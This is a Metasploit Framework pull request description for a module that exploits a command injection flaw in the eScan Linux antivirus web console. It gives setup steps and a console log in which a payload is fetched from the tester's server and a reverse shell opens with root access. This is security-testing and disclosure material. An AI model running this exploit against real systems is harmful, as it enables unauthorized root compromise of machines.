rapid7/metasploit-framework — pull request #3223 by jvazquez-r7 (2014-04-09 22:00:40+00:00)
Title: Module for eScan Password Command Injection

There is a Command Injection vulnerability in the login.php from the web admin console for the eScan antivirus for Linux, as disclosed by Joxean Koret at Syscan 2014. At the moment of pull request last version of eScan is still vulnerable.

Verification
---------------

- [ ] Install Ubuntu 12.04 (32 bits) Desktop
- [ ] Install the eScan packages for Ubuntu 12.04 (32 bits). I've installed the three packages on my testing machine: MWADMIN, MWAV and eScan. You can download them from:

http://www.escanav.com/english/content/products/downloadlink/downloadproduct.asp?pcode=ES-LNHMv9

Ubuntu 12.04 (32 bits) urls:

http://www.microworldsystems.com/download/linux/5.5/eScan/ubuntu12.04/32b/mwadmin-5.5-2.ubuntu.12.04_i386.deb
http://www.microworldsystems.com/download/linux/5.5/eScan/ubuntu12.04/32b/mwav-5.5-2.ubuntu.12.04_i386.deb
http://www.microworldsystems.com/download/linux/5.5/eScan/ubuntu12.04/32b/escan-5.5-2.ubuntu.12.04_i386.deb

- [ ] Verify which the console is running un http://localhost:10080, create the admin user (You need a valid username in order to exploit the login form).

- [ ] Use the exploit like in the module, remember to set the PAYLOAD to a native one (shell to get root!). Hopefully enjoy root sessions!

```
msf exploit(escan_password_exec) > check
[*] 192.168.172.137:10080 - The target service is running, but could not be validated.
msf exploit(escan_password_exec) > set payload linux/x86/shell/reverse_tcp
payload => linux/x86/shell/reverse_tcp
msf exploit(escan_password_exec) > exploit

[*] Started reverse handler on 192.168.172.1:4444
[*] Using URL: http://0.0.0.0:8080/Cwqq1QLjeG
[*] Local IP: http://10.6.0.136:8080/Cwqq1QLjeG
[*] Server started.
[*] 192.168.172.137:10080 - Downloading the payload to the target machine...
[*] 192.168.172.137 escan_password_exec - Request: /Cwqq1QLjeG
[*] 192.168.172.137 escan_password_exec - Sending payload...
[*] 192.168.172.137:10080 - Executing the payload...
[*] Sending stage (36 bytes) to 192.168.172.137
[*] Command shell session 3 opened (192.168.172.1:4444 -> 192.168.172.137:33318) at 2014-04-09 16:35:10 -0500
[+] Deleted /tmp/AAA
[*] Server stopped.

2273702333
KJFoyPjHybDvAPqPOxDXuMQdDjBjZeyM
utnJrWLNKAzfehfjjqLKcJaJmLEEkHNn
id
uid=0(root) gid=0(root) groups=0(root),196(mwconf)
^C
Abort session 3? [y/N] y

[*] 192.168.172.137 - Command shell session 3 closed. Reason: User exit
```